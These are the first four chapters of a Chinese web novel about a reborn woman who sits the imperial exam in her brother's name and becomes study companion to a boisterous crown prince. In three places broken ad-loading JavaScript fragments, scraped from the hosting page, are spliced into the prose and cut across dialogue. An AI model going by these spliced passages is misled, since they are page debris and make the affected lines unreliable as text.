《咸鱼她字字珠玑》 1. 春闱 天色昏昏,雨点急促地敲击阆京酒肆的琉璃素瓦。些许雨丝从花格木窗间漏进,慢慢浸潮了床头的实木桌。 只见桌案旁卷成一团的帘子簌簌垂下,中间忽然钻出半颗乱蓬蓬的杂毛脑袋来,随即便听一声哀嚎:“姣娘子!我的靴子!” 酒家老板娘童姣正在外厅替他晾着湿鞋,听到她这一声嚎,回道:“郎君别叫了,昨夜这雨下得突然,您这靴子放在外头被浇得透彻,眼下一时半会儿干不了。” 叶帘堂只得光脚下床漱口,皱着脸道:“这下可糟了,这会儿贡院外头肯定已经堵得严严实实,眼下还下着大雨,我再不过去怕是连门都摸不着。” 童姣替她收好包袱,撇撇嘴:“我瞧呐,是老天不想让郎君去科考,才专门下了这么场暴雨,淋了您的鞋子。不如郎君就别去了,待在阆京多快活,小女定然日日以好酒伺候。” 叶帘堂拢好发髻,一咬牙将脚蹬进湿漉漉的靴子中,眯眼笑道:“这话说得轻松,到时我老娘找来打我,娘子您来替我受着?”语罢,她将桌上的茶水一饮而尽,背起小包袱便向门外跑。 “门口斜了把伞,您拿好。”童姣的笑声落在身后,“郎君若是考中了,小女为郎君摆酒席。” 出了酒肆,空气里满是潮湿清新,叶帘堂撑开油纸伞,小心翼翼避开夜里积水,心底暗想:“考中?就她肚里的那点货也就只够应付学校考试的,放在古代简直就是一半调子睁眼瞎,简直没眼看。” 大周春闱,这可是国家三年一度选拔人才的重要途径,是各类才子大家的征战之地。叶帘堂深知就以自己那点小聪明定是上不了榜的,只求自己答卷谨慎些,别写了什么不该写的累及家人。 想起家人,叶帘堂默默叹气。 她那个担任知府的便宜老爹只有她哥和她一儿一女。老哥一心从军,临考前竟偷偷跟着军队北上跑了,她爹又最是注重名声,这事传出去不知要闹多少笑话,只得让她来替兄长收拾这个烂摊子。 虽说她小时候也和老哥一起听过课上过学,但她爹娘对她没抱什么期望,只需她替着兄长叶悬逸的名,考上考不上的都随便了。 叶帘堂一听这话,就屁颠屁颠从兖州滚到了阆京,常听课本说古城阆京盛世繁华,她特地前来领略一把这里的风土人情。 至于这第一站嘛,自然是士子们常说的芙蓉酒肆,那里有着名冠阆京的“珍珠红”——糯米酒。 她好奇之下前去捧场,没成想这一捧便走不动道了。酒肆老板娘童姣又爱招呼,常聚三五举子,于此地传花、拍七、猜谜、说笑话、酒牌令。有时闹得晚了,叶帘堂便会于酒肆雅阁留宿。 如此乐不思蜀了三个月,昨夜才猛然惊醒,睡前特意将鞋子晾在屋外,道是“不沾邪气”,谁料半夜一场暴雨淋漓浇下,叫她差点错过了春闱开院。 若是让她老娘知道她误了时辰进不去贡院,非得拿擀面杖将她的脑壳敲烂了不可。 所以她只好一边咬牙狂奔,一边在心中骂她那个成事不足败事有余的便宜兄长。 * 叶帘堂在和牢房没什么两样的考房中呆坐。 虽说一路风雨,万幸,她还是赶上了春闱。但不幸的是,她要在这逼仄窄小的好舍里呆上一天。 考试、睡觉、吃喝拉撒,一切都只能在这潮湿的方寸中解决。 这一刻,叶帘堂才深刻体会到古代最后能成状元的真不是一般人,不仅要满腹经纶、才华横溢,还需要有强大的心理素质,毅力,吃苦耐劳精神…… 等到贡院大门“咔擦”一锁,十年寒窗到底成骡子还是马,便要在这狭窄的考室里遛一遛了。叶帘堂点了蜡烛,在豆蔻大的火苗旁叹气。 难啊……难…… 条件艰苦就算了,令叶帘堂最头疼的便是写文章。 四书五经她上学期间都接触过一些,来之前也临时抱佛脚看了看,翻来覆去就那么些本,绞尽脑汁也是能硬写一点凑凑分数的。 但是写古代的文章…… 虽说没人对自己的春闱成绩有期待,但她作为一个在应试教育里生活了二十几年的学生,考试不能交白卷这句嘱咐早已刻在了她血液里。 叶帘堂支着下巴,脑中忽地闪过什么——不如用现代大学生论文的写法来应对这篇“帝王之心”。 只要政治正确,拍拍国家政策的马屁,称赞一下大好河山,不写出什么违背封建时代纲常伦理之类的语句,大概率都不会出什么大事。 叶帘堂心里盘算着,备好纸砚,凝神润墨。 不多时,狭窄的考室内只余毛笔落纸的细微声响。 直至斜阳暮色,余辉淡薄。叶帘堂新燃起一株蜡,满意地欣赏着自己洋洋洒洒的大作。 不错不错,她吹了吹未干的墨迹,满意地想:“论点鲜明,论证严密,还引用了几处名人名言。蹩脚的文言文体也改了,皇帝的马屁也拍了,这下应该是八九不离十了。” 就是她这一手破字……叶帘堂有些汗颜。 乍一看,她这手字像在纸上蜿蜒爬行的小蛇,每一笔都饱含着笨拙与挣扎。 天可怜见,叶帘堂虽然上过几节书法课,但她连字帖临摹都临不工整,更别说自己发挥写上这一整页字。笔杆握断也写不来横平竖直。 做完这一切,叶帘堂心中一块大石头终于落地,此刻只正满心期待着贡院下锁,自己好重新钻进芙蓉酒肆,趁着临行前再去要壶“珍珠红”,点首《啰唝曲》。 * 天色渐暗,福安门外矗立着几圈锦绣灯轮,个个都有十丈高。衣以锦绮,饰以金玉,层层都挂着油灯。 待几人踩高将其一盏盏点亮,夜里看去便像是颗流光溢彩的花树。 叶帘堂从考场出来便去客栈沐浴,待神清气爽的出门后,与几名举子小伙伴于阆京西市顺利会师。 大周风气开放,阆京的娘子们不仅化时世妆,还铺得满头翠冠儿,捻金雪柳。个个纤腰微步,光润玉颜。 叶帘堂瞧着新奇,家乡兖州少见如此精致华丽的装扮。 男装穿得久了,她觉得这些衣服首饰怎么看怎么漂亮,决定回乡后也要如此打扮。 当天完全暗下来,家家灯火,处处管弦,西市街道飘满了糖脆饼的油香,那是叶帘堂来阆京后最喜欢的零食,外酥里嫩,食之香脆。 她与好友们一人买了一盘,在路边停停走走,边吃边聊天。 叶帘堂余光闪过一片艳色,随机抬头看去,只见远处一片姹紫嫣红翩翩而来,不是初春的桃李,而是浓妆艳抹,眉目秾丽的游伎。她们成群结队,嬉笑游冶,目光所集却都是一处。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跟着她们的目光望去,叶帘堂只见远处悬空廊桥红尘起,火树银花下,有少年驾着驴车缓缓而来。 这时,一旁有好友叹道:“哇,是鱼爷!” 叶帘堂疑惑道:“鱼爷?” “是啊,这词儿我也是来阆京才听说的。”好友指了指那少年腰间的玉质鱼符说:“在大周朝廷,五品以上的内外官皆佩鱼符、鱼袋,里头刻有官员的姓名、任职衙门之类的,以此‘明贵贱,应召命’。” 叶帘堂说:“这我知晓,可何故将他们称作鱼爷?” “五品以上的卿士你我哪里惹得起,自然都是‘爷’喽。”友人笑道。 叶帘堂这才点点头,笑吃一口手里的糖脆饼。 忽然,走近那驴子耸了耸鼻尖,登时兴奋地嚎叫一声,两眼放光的便往她这奔。眼看避闪不及,那驾车的少年的急忙扯着缰绳歪过驴头,驴子脚下一个趔趄,不慎颠了颠,绊了一跤,当即翻了驴车。 石板路上叮铃咣啷一阵响,叶帘堂趴在地上睁开眼,只见满眼金银——原是那一整车的金器银件滚了一地。而她慌忙避闪间脚腕一歪,正好摔在其中一个檀木盒子上,下巴磕在坚硬的木头上撞得生痛,一时眼花爬不起来。 车上那少年摔得更惨,右半身“哗啦”一声全跌在街道积水的水坑里,冰得龇牙咧嘴。 一旁扑上来几个侍从,慌忙将那人扶起来,一边撑伞一边为他披上斗篷,也不管地上的器件,反倒“哎呦哎呦”地将人左看看又看看,像是摔着了什么比金银还珍贵的宝贝。 叶帘堂爬起来,揉着下巴往那处看去。原来那宝贝是个十四五岁的小郎君,头戴白笼冠,身着对襟大袖衫,金丝绣线流成片片行云,眉间一点朱砂痣,像是贴着颗玲珑小巧的红玛瑙,仪容清端,整个一潇洒美少年。 只不过这美少年如今裹在斗篷毛茸茸的滚边里,正怒气冲冲瞪着他,双目间满是飞扬的傲气。 叶帘堂想起方才友人所说,再瞥一眼少年腰间的鱼袋,心道:“鱼爷惹不起还躲不起吗。” 她垂眼看了看满地狼藉,帮忙捡了几件,认怂道:“鱼……小公子,您没事吧?” 美少年瞥他一眼,哼道:“你……” “无事便好,无事便好。”叶帘堂将怀中揣着的物件一股脑放进驴车,语速飞快道:“多谢小公子宽宏大量,在下还有事,便先告辞了!” 语罢,脚步一转便从他面前掠过。 “你管谁叫小公子……不是,喂,站住!谁让你走了——” 叶帘堂充耳不闻,全都当成耳旁风,只管脚下狂奔,待那美少年想追时,早就没了影。 年纪小小的鱼爷看着满地泡在水坑里的杂什物件,捞起其中一个檀木盒子打开,里头的琉璃樽早就碎成了好几瓣,登时气道:“知道赔不起,跑得倒快!” 一个随从凑过来道:“殿下息怒,不如让咱家替殿下打听打听那厮性甚名谁,日后塞进东宫做个杂役小仆好好搓磨?” 小公子听了这话,慢慢冷静下来,道:“罢了,也不是他的错,是我那头笨驴闻见油香就管不住腿……也不知那人可有撞伤。” “哎,咱家瞧着那人健步如飞,定然是无事的。”仆人恭维道:“殿下,常说是玉碎人平安嘛,碎碎平安,碎碎平安。” 2. 西市 叶帘堂逃得慌忙,方才见那小公子眉目飞扬,便知道该是个惹不起的,不如早早溜走,图个安生。 待转过几个街角,确定没人追上来后,她拍了拍胸口,正打算回客栈。忽然眼前一花,有什么物什直冲她飞来。 叶帘堂吓了一跳,下意识伸手接住,定睛一瞧,原是个天青色荷包。 抬眼瞧,竟是旁边酒楼前云发丰颜的胡姬掷来的。 只见那酒肆双门大敞,前头胡姬身佩璎珞,足旋罗裙,向她勾了勾手指,是来邀她进酒肆坐上一坐。 伙伴们见状登即开始起哄,叶帘堂笑着摆了摆手,道:“不去不去,明天一早便要赶路,可不能再喝了。” 许是见她久久不动,那胡姬便扭动腰肢,伴着乐声跳至她身旁。 叶帘堂见这胡姬轻衫半飘,鼻梁高挺,眼睛如酿制的葡萄酒般透亮,此刻正大方地拉她袖子,似是想将她拉入酒肆。 拉扯为难间,忽听身后一声少年音,喝道:“喂!就你,给我站那儿!” 叶帘堂闻声回过头,见身后有一少年面色不虞,正抱臂瞪着她。 好巧不巧,正是方才相撞的那位飞扬跋扈的少年鱼爷。 这小公子披着斗篷,上绣连珠对狮纹,腰束金玉銙,脚蹬乌皮靴,看着比方才威风了不少。 叶帘堂正好需要有人解围,忙将袖摆从那胡姬手里抽出,亲亲热热地迎了上去,道:“哎,方才事急,撞倒小公子却不曾赔罪,实在是失礼。” 那小公子本已做好追人的打算,却未曾料到她如此热情,疑惑地瞅了她一眼。灯影憧憧间衬得他眉间那点朱砂痣愈发殷红,只是脸上还是那副眼睛长到头顶的跋扈姿态。 叶帘堂余光瞧见胡姬遗憾离去的背影,松了口气,正打算糊弄两句脚底开溜,就听这小公子重重一哼,“你不仅撞倒了我,还碎了我一双琉璃玉樽,要如何赔罪?” 叶帘堂这会儿倒是大开眼界了,第一次听说人将车撞倒的……罢了,谁叫人家是鱼爷。 “嗯……”叶帘堂挠了挠头发,左思右想间从身上搜罗出一枚青玉透雕雁荷佩递向他手心,叹了口气道:“瞧小公子气度不凡,定是大家出身。在下自乡野入京赶考,身上实在没什么值钱物什,只有这透雕玉佩……” 小公子低头看着手心的饰件,见这青玉色泽水润,正面雕一只大雁戏游于荷塘,双翼上举,长颈绕过荷叶花茎,呈出流畅的环形,十分生动灵巧。 到底还是个半大的孩子,小公子眼里是掩饰不住的喜欢,翻来覆去地瞧,“你这佩子从哪得来的?” 叶帘堂见他爱不释手,笑道:“是从在下家乡的玉铺打来的。” “你家乡?”小公子抬头看她。 “兖州,从阆京一直往东走就是了。”叶帘堂笑眯眯道:“在下来阆京,便是要参与春闱院试。” “如此。”小公子点了点头,似乎很有兴味。 迎着他亮晶晶的好奇,叶帘堂不由自主多说了些,“这玉佩便是照着我家门前的莲花塘雕的,漂亮吧。” “莲花塘?” “是呀。夏日的塘面便是绿油油一片,直连天际。”叶帘堂向往道:“闲了可以乘乌蓬行于其间,摘莲子,赏荷花,畅快得很。” 小公子若有所思道:“那今年你岂不是见不到了?” 叶帘堂挑眉,“见不到?为何?” “春闱啊,你难道不等放榜?” 叶帘堂摆摆手,笑道:“不等不等,在下才疏学浅,做不成,也不想做官。” 小公子眉峰一挑,疑惑道:“不做官,那你想做什么?” “不做什么啊。”叶帘堂眉眼弯弯,道:“非要说的话,在下只想游山玩水,饮遍佳酿,春日柳下醉,夏日荷中躺,秋来沐雨月光浴,冬至围炉晒太阳。做个自由自在的峨眉山猴子。” 小公子闻言忍不住道:“什么峨眉山猴子……乱七八糟的,真没出息。” 叶帘堂哈哈一笑,大大咧咧地拍了拍小公子的肩膀,道:“是没出息。小弟你可不能学我,一定要好好念书喔。” “不需你说。”小公子撇了撇嘴。 忽然,远处有好友喊道:“叶二,再不走可赶不上《啰唝曲》了!” “哎,来了来了。”叶帘堂扭头回完,向小公子拱了拱手,道:“雨日一撞实属抱歉,这玉佩便当作赔礼罢,在下先走一步了。” 说罢正要转身,那小公子忽然拉住她的衣袖,抿嘴问:“你叫什么名字?” 叶帘堂想了想,道:“小弟你乃栋梁之材,实在不必与我这等纨绔相识。明日我便回乡去了,日后天南地北的估计也见不着面,何必搞‘故人故情怀故宴’那套。” 语毕,她潇洒转身时还不忘与他挥挥手,笑道:“走喽。” 小公子望着她的背影怔愣片刻,又低头去看手心里的玉佩,低声嘴硬道:“你这佩子除了样式新奇些,哪里抵得上我那双琉璃樽。瞧这处,甚至有道纹裂绺!” 挑剔完,却见他将那佩子包了包揣进怀里。身后一众侍从见此,个个低头憋笑。 “还不愿告知我姓名,谁稀罕!”小公子愤愤踢了踢脚下石子,转头道:“隆生。” 一人收住笑容,俯身至他身侧,问:“殿下有何吩咐?” “……罢了。”小公子看了会儿她离去的方向,转回目光道:“回吧。” * 第二日清早,叶帘堂收拾好包袱,决定临行前去芙蓉酒肆同老板童姣道别,顺带感谢她三个月来的照顾。 刚走进西市福安门里,便见一道影子横冲直撞过来。叶帘堂向左侧一闪,却还是被撞了个趔趄。 她心中默默吐槽,怎么自从春闱开始每日都会撞到人…… 被扶住站稳后,她才发现那是个胡人女子,双眸如星,鼻梁高挺,二人对视时都愣了一下,这正是昨夜向她掷香包,拽她喝酒的那位胡姬。 还未开口,身后忽然传来男子的呵斥声:“蛮夷妇人活得不耐烦了,还敢跑?” 那胡姬扯着叶帘堂的袖子,用一口不大流利的汉语道:“郎君救命!” 叶帘堂见她神情这样无助,登时生出一种人微任重的保护欲,将那胡姬拉向自己身后,想前去看看情况。 忽听头顶两声轻咳,叶帘堂向上一望,见童姣正倚在芙蓉酒肆二楼雅阁的木窗里,向她摇了摇头,手指比了个“三”。 ——是想提醒她不要插手管这档事吗? 叶帘堂转回目光,见来人身着一身青色素衣,右眼佩一眼罩,再结合童姣的提醒,当即明白过来这人是谁。 当朝三皇子嗜好宝马,在城郊买了庄子作马厩不说,甚至还于民间招募能人巧士,专门用来替他照看保养那一庄子马,规模之大,有二百余人。 面前这人正是那能人巧士的奚官头儿——白石。 据民间传言,此人精通马鸣,对于马儿们来说是个实打实的伯乐。曾经从一匹受惊马上救下过三皇子的命,这才瞎了右眼,但也自此变成了三皇子面前的红人,富贵荣华流水似的到手。 虽常话说路见不平,拔刀相助。但叶帘堂这身板一没练过,二不强壮,且这事闹大了也许会传到父亲耳里,他那好面子的老爹不仅会知道她来了酒肆,还为着个胡人女子去得罪三皇子的人,这见义勇为之刀不免有些拔不出来。 就在叶帘堂纠结挣扎中,忽见白石手下几个男子围了上去,拽着胡姬的胳膊往另一酒肆里拖,胡姬哭号一声,扒住福安门的红漆柱死不松手,一双眼还水汪汪地盯着她。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 叶帘堂只觉脑中“嗡”的一声,向着身旁的仆人耳语几句,走上前喝道:“混蛋,将她放开!” 见那群人齐刷刷转头看她,圆眼铜铃一般瞪起,一人问:“和你这瘦猴书生有何关系?” 这时候最忌泛怯,叶帘堂硬着头皮走上前去,将那胡姬拉至自己身后,“不知这位胡人娘子是怎样得罪了白大人,要在街上闹出这样大的动静?” 站在不远处的独眼奚官闻言,眯起他仅剩一只的左眼,问:“你认得我?” 叶帘堂没出声,将白石的打量回瞪过去。 白石冷笑一声:“既如此,我也不瞒你。我每日十贯钱捧着这蛮夷妇,衣服首饰样样不落的送来,可到了现在……” 白石猛地拉开袖子,见手臂上一道指长的血痕,怒道:“这贱妇竟敢用刀伤我!书生你读过书,明事理,你来评评理!” 这番争执引来许多游人目光,酒楼老板也在一旁提心吊胆地观望。 “不是的,不是的。”胡姬急忙打断白石,拉着叶帘堂的袖子笨拙地解释道:“公子莫要相信,是他先要轻薄于我,我才会伤他。” 白石怒道:“呵,轻薄?拿了钱就想跑,世上哪有这般容易之事!” “若在下没记错,这家酒楼的规矩只有卖艺吧?”叶帘堂向着酒楼老板的方向问。 白石手底下一人骂道:“呸!什么狗屁规矩,你要知道,三皇子如今可是最是看重我们白公,你执意插手,担得起这个后果吗?” “不必同与他多费口舌。”白石轻蔑道,“你们几个,把那蛮夷给我带进来。” 见方才那几个大汉上前,又要动手。 情急下,叶帘堂侧目,见先前派出去的仆人此时正往此处奔,当即定下心神,笑道:“各位且慢,在下今日也是为着这姑娘来的。” 语罢,她与仆人交换一个眼神,稍稍侧身。只听马蹄声响起,三辆马车相继而来。 叶帘堂笑笑,眼底似聚一泓粼粼春水,“实不相瞒,在下其实仰慕这位娘子许久,可惜一直未曾寻着机会……” 仆人配合着她的说辞,安排着人从马车上卸下一箱箱的黄花梨木,美酒绢帛数不胜数,尽数搬进那胡姬所在的酒楼。 此刻正是天初暖,日初长的融融四月天,晨光金粉似的洒下,叶帘堂一袭薄绿深衣,衬得身姿如嫩柳垂新。 她眸光微转,于熙攘繁华的西市向酒楼老板行了一礼,笑道:“金丝银缕,美酒满箱,不知够不够作为娘子的缠头赀?” 不等老板回答,人群中早已传来惊叹,随后便是如雷的叫好之声。 这一幕不仅顺利地替胡姬赎了身,也挡下了白石等人的无赖纠缠。但…… 叶帘堂抬眸,见童姣倚在芙蓉酒肆二楼窗口,向她抛了个媚眼,一张欠条被她夹在指尖轻轻晃悠。 但她派仆人去求童姣做这些,欠下童姣大笔银子,她老爹势必会知情,可想自己回家后的下场也不会好到哪里去。 叶帘堂在心底默默流泪,这拔刀相助的代价实在是有些大…… 于一众欢呼掌声中,白石面目阴狠,手下一人觑着脸色,忽然一拳头向着叶帘堂抡来,叶帘堂没料到这茬,矮身险险避开,还没喘顺气儿,那第二拳就要逼来。 忽然,只听人群骚动,一阵蹄声马鸣自远奔来,在一呼一吸之间愈来愈响。 众人扭头,见一青年高坐马背,身着朱紫袍衫,上裹幞头,向着这边疾驰而来。 白石原本凶狠不甘的神情也在看清来人后迅速蔫了下来,他跪地行李道:“隆,隆生公公。” 隆生觑了白石一眼却没搭话,长眸自人群中一扫,便定在叶帘堂身上。 “叶公子。”他下马行礼道:“劳请你随咱家入宫一趟。” 3. 侍读 叶帘堂脑中发懵还没转过弯,就被那隆生公公差人请上了马车。 车轮滚在青石地上发出规律的声响,车内香炉袅袅,丝绢质地的车帷上饰以翠羽,随风飘落时也将人的视野变得忽明忽暗。 她小心翼翼问道:“公,公公,在下犯了什么事儿吗?” “哦,不是……”隆生在前头驾着马,闻言笑了两声,“是陛下瞧见公子的会试策问,觉得有趣,想见公子一面。” “什么?”叶帘堂下巴差点惊掉。就自己那篇夹杂在各类大家鸿儒,饱学之士文章里歪七扭八格式稀碎的伪文言文,居然能传到陛下眼里,陛下居然还觉得有趣? 叶帘堂怎么想也觉得不可能,莫不是陛下阴阳怪气,说的反话吧? 越想越有可能,叶帘堂不禁悲从中来,自己上辈子在现代卷生卷死,好不容易熬出头毕了业,工作也已经谈定,结果大半夜整理书籍就那么给猝死了……这一世更惨,才还魂半年,本想舒舒服服摆烂躺平做一辈子咸鱼,结果还整个替兄科考。 现在好了,小命都难保。 挣扎纠结许久,叶帘堂心一横,罢了罢了,又不是没死过,顶多是眼睛一闭重新投胎,从头再来,有什么好怕的! 这么一想,她顿时稳了心神,豁然开朗,靠在车背上闭目养神起来。 待马车驶过碧瓦朱墙缓缓停下,叶帘堂下车后慢慢走过窄小的宫道。 她偷偷抬眼打量,大周皇城实在是规模宏大,布局严谨。宫殿群落错落有致,叶帘堂身处其间有种渺小如蝼蚁之感,默默观望着宫殿楼阁的雄伟壮丽。 踏过三米高的台基,她跟着隆生进入雪芸殿——也就是皇帝的书房。 殿里燃了具错金博山炉,日光从半开的花窗透进。地上铺着五蝠献寿的绒毯,上头的黑木桌案上摆尊细高白釉瓶,几支梨花从中斜斜伸出。 叶帘垂首立在门边,大气不敢出,悄悄窥了一眼上座,明昭帝正坐在案前,不知在翻看着什么。 她悄悄动了动僵硬的颈脖,心中烦躁:自己这趟也不知是生是死,皇帝宣她觐见却又将她晾在一边,现下到底是个什么情况。 偏偏春光温煦,叶帘堂立的昏昏欲睡,见着差点没站稳,前方忽然传来一道厚重的声音道:“兖州贡士叶悬逸?” 叶帘堂迷糊着,正疑惑为何会有人喊她哥的名儿,忽见隆生一个眼风扫过,她登时头脑乍醒,连忙出列跪倒在地,额头抵着绒毯,道:“贡士叶悬逸叩见陛下。” “起来罢。” “谢陛下。” 明昭帝饮了口茶,慢慢道:“你父亲近来可好?” 叶帘堂不敢言他,老实回道:“得陛下关心,家父康健无恙。” 明昭帝淡淡“嗯”了一声,又问:“今年十七?” “是,臣再过四个月就满十七了。”这是这具身体的年纪,她本人实则已经二十有二了。 “如此年少却已考至贡士,算是出众。”明昭帝沉声道:“朕看了你的策论。” 叶帘堂额头紧贴绒毯,只觉得背后冷汗一层一层出,有些承受不住明昭帝这挤牙膏一般的问话方式。 “笔墨不稳,行文跳脱,稍欠庄重。” “是,臣才疏学浅,惰于笔墨,污了陛下的眼,实在惭愧。” 明昭帝轻轻磕着茶杯,道:“不过,你才思横溢,文采卓越,章式不稳却敏于应对……倒真应了你文中那句‘不负韶华行且知’。” 叶帘堂大气不敢出,只得在心里默默道:“谢谢名人名言,名人名言救我狗命。” 明昭帝见她模样恭谨,心下满意,道:“朕问你,你文章所谓‘人人皆可为舜尧’,所谓何?” 叶帘堂定了定神,道:“人皆有良知,圣人之学便是致此良知。自然而致的是圣人,勉强而至的是贤人,不肯致的为愚人。虽是愚人,只要他肯做,便与圣人无异。此所以为圣愚同备,故皆可为舜尧者。” 明昭帝挑了挑眉,道:“孔孟言,‘上智与下愚不移’,上智者就是上智,下愚者就是下愚,你做何解?” “臣拙见,下愚者不是不可移,而是不肯移,只要他愿意,便是圣贤。” 殿内一阵沉默。 叶帘堂说完便想抽自己嘴巴,她这番言论看似有理,但实际上却是在阐述:既然大家都是圣贤,或是潜在的圣贤,那人人就是平等的。 在封建皇权面前说“人人平等”,是疯了还是不想活了。 虽说她来到这个朝代已经半年,但思考方式还始终与现代人无异。 叶帘堂冷汗直流,开口道:“孔孟之道立在泰山,臣渺小之身怎能妄图与山平齐,实在是不自量力。” “无事。”明昭帝意味不明地笑了笑,“朕倒是觉得很有趣。” “正谓玉不琢不成器,你天赋异禀,犹需砥砺琢磨,以去浮躁之气,增沉稳之质。罢了,既然太子欣赏你……贡士叶悬逸,听旨。” 叶帘堂急忙叩首,完蛋,不会是想流放她吧! “兖州贡生叶悬逸,才情出众,言辞锋锐,宜家恩命,特命尔为太子侍读,以学为基,以德为本,日就月将,琢磨才德。” 叶帘堂一愣,抬眼便见明昭帝一双眼温和地看着她。 咦?没事吗…… “还不快接旨?”皇帝身边的内侍太监提醒道。 叶帘堂这才猛地反应过来,再次叩首道:“臣领旨谢恩。” “行了,退下罢。” 叶帘堂忙一骨碌爬起来,因跪的久了还差点摔个狗啃泥,再三行礼后退出雪芸殿。 明昭帝见人走了,低笑着抿一口茶,叹道:“叶宏教出来的好儿子,一个模子里刻出来的。” 内侍太监潘福替皇帝研好磨,回道:“陛下喜欢他?” “挺聪明的。”明昭帝笑笑,“这下朕遂了太子心愿,过几日你去替我问问太傅,太子是否有向我应承的那样,将叶悬逸挑给他做伴读后便收心好好念书。” “是。”潘福又替皇帝晾好新茶。 * 叶帘堂揉着膝盖,摇摇晃晃地在宫道里挪。 忽然,隆生从后面追上来,道:“叶公子,太子殿下召你去明德殿觐见。” 叶帘堂原本放下的心又是一提,这位太子便是自己日后的大老板了,民间对他的描述也不多,只是说皇帝十分宠爱。 她默默叹了口气,向隆生道:“走吧。” 明德殿为太子居所,位于皇城东侧,也称东宫。 叶帘堂一路忐忑地跟随隆生来到明德殿,还没进门便听见里头一个少年声音狂笑不止,“是吗,他竟吓得跪在那儿一动也不敢动……出门还差点摔跤?哈哈哈,真没出息。” 她怔在门口,那人口里笑话没出息的,怎么听都像是自己,而且这声音也有些熟悉…… 来不及多想,隆生便已高声禀告,叶帘堂硬着头皮撩袍走进。 太子所居果真不一般,只见殿内地底皆有白玉铺成。墙角的紫檀木架上挂着个鸟笼,笼内一只虎皮大鹦鹉正探头探脑,与她对视片刻突然道:“哇!笨!” 哈? 室内传来更大的笑声,叶帘堂一抬头,便见一少年身披朱色宽袍,笑得上气不接下气,见她望来,还得意地向她抬了抬下巴。 叶帘堂差点惊叫出声—— 这不正是前日在大街上撞倒的小公子? 小公子看着她目瞪口呆地傻样,挤了挤眼睛道:“怎么,叶侍读吓傻了?” 原来他便是当朝太子李意卿。 叶帘堂叹了口气,不情不愿地行礼,道:“太子殿下。” “哎,你那是什么表情,做本太子的侍读难不成还委屈你了?”李意卿不满道:“哼,你出贡顶天去翰林院做个七品补缺,现下让你直接升为从五品,居然还给我摆张臭脸!” 能不郁闷吗?'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 她好歹本科毕业生一枚,却要陪着这个,放在现代才上初三的叛逆小孩念书,叶帘堂心中不免烦闷。 李意卿见她一脸“不愿意”,哼道:“反正不管你怎么想,从今往后日日都得陪着本太子读那些令人头痛的孔孟之道、四书五经。” 语罢,他手一伸,指向桌案那堆比快和他人一样高的课本。 叶帘堂见状,不禁想起自己那苦闷无趣,泪水横流的中二少年时代,不免有些同情他。看来这小鬼即使贵为太子,本质也是个厌学贪玩的中学生。 “日日都是些枯燥老头,连个年纪相仿同我说说话的都没有!”李意卿一指那门前的鹦鹉,“只有那笨鹦哥儿陪我说话……” 言罢,那鹦鹉又叫起来,“笨!笨!” 太子这话说得怪可怜的。 “唉。”叶帘堂不禁叹道,“殿下也是苦命人啊。” 二人惺惺相惜地对视一眼,见李意卿眼泪都要掉出来,她忙安慰道:“哎呀没事没事,日后有我陪你,烦了闷了你便同我说话。” 李意卿两眼发亮,一把握住叶帘堂的手,感动道:“真的?” “当然。”她笑。 “那正好!”李意卿忽然凑过来,眉间的红痣显得他愈发英气,“今日休课,我带你尝些新奇玩意。” 语罢,他便紧紧抓着叶帘堂的手,旋风一般往后殿小厨房跑去。 李意卿虽比她低了半个头,但手脚自小锻炼着,一路跑得飞快。 可怜她自己,这具身体从前是个从未锻炼过的闺中小姐,被太子这么扯着跑,手也甩不开,几乎是被一路拖着过去的。 叶帘堂暗暗下决心,日后太子的骑射武艺课程自己也要跟着去蹭一蹭。 李意卿兴致勃勃地找出一个罐子,献宝似的抓来一把给她看,道:“这是从波斯送来的,叫‘阿月浑子’,听说民间没有,你快尝尝看!” 叶帘堂定睛一看,“开心果?” “什么开心果?”李意卿问。 叶帘堂自知说漏嘴,便道:“我看这果壳开裂,像是咧嘴笑一般……” “喔!你这么一说还真是!”李意卿兴奋道。 叶帘堂见他如此开心,便决定配合配合他,将一整颗开心果塞进嘴里,道:“这是什么东西,咬都咬不动!” “哎,错啦。”李意卿认真的拿出一颗,向她示范道:“吃这东西的时候,一定将这‘嘴巴’掰开了扔掉,只吃里头的仁,壳是咬不动的。” 叶帘堂认真学他的动作,将果仁塞进嘴里。 “如何如何?” “唔。”叶帘堂装作细细品味的样子,“香香的,脆脆的。” “你喜欢吗?”李意卿期待地问。 “嗯。”叶帘堂点头,“好吃。” 闻言,小太子眼睛亮晶晶,昂首道:“那,那这罐便送给你了。不过每日不能多吃,会上火。” “哇!”叶帘堂狗腿捧场,“多谢太子殿下。” “无事。”李意卿将头扬得高高的,“你再来尝尝这个,康国进献来的,名叫‘金桃’。” 喔!这可是个稀奇宝贝! 叶帘堂一瞧,这桃子大如鹅卵,色泽金黄。史书上提到过这种水果,后来因战乱等各种原因,这金桃的树苗最终未能存活下来,消失在了历史之中。 李意卿命人剥皮切块,最终盛在白玉盘里,显得分外诱人。 叶帘堂迫不及待夹了一块,入口香甜,汁水充盈。 她有些感动地拍了拍李意卿的肩膀,心想:“好老弟,你人真不错。” 李意卿似乎看出她心中所想,当即承诺道:“你放心好了,日后我有的你都有,本太子罩着你!” 这次换叶帘堂问:“真的吗?” 李意卿当即点头:“当然。” “那……”叶帘堂挠了挠头,不好意思道:“我今早好像就得罪了一个人……” 4. 诸生 李意卿正吃着桃,一听这话当即呛到喉咙,咳了个昏天黑地后才问:“……你得罪谁了?” 叶帘堂替他拍背顺气,嘿嘿笑道:“哎呀,救了个人。” “救谁?” “唔,一位被逼迫的可怜女子。” 李意卿看她半晌,幽幽问:“从谁手里救下的?” “……白石。”叶帘堂觑着他的脸色,急忙补充道:“太子殿下不是说罩着我吗,不会这就食言吧!” 李意卿见她神色愈来愈紧张,终于憋不住笑,哈哈道:“放心好了,不过一个奚官,我平日看他就不顺眼。如今我罩着你,三哥更是想管也管不着。” 他这一番话说的颇有架势,叶帘堂一颗心吊着晃悠了许久,此刻才终于颤颤巍巍放下,感动地拍了拍小太子的肩,又是倒茶又是夹桃,殷勤道:“太子殿下真是英勇无双,快多吃些!” 这番狗腿对小太子来说很是受用,李意卿头仰得高高的,装作随意道:“也就一般吧……记得出宫前再装两颗桃,拿去同你外面的好友分享。” 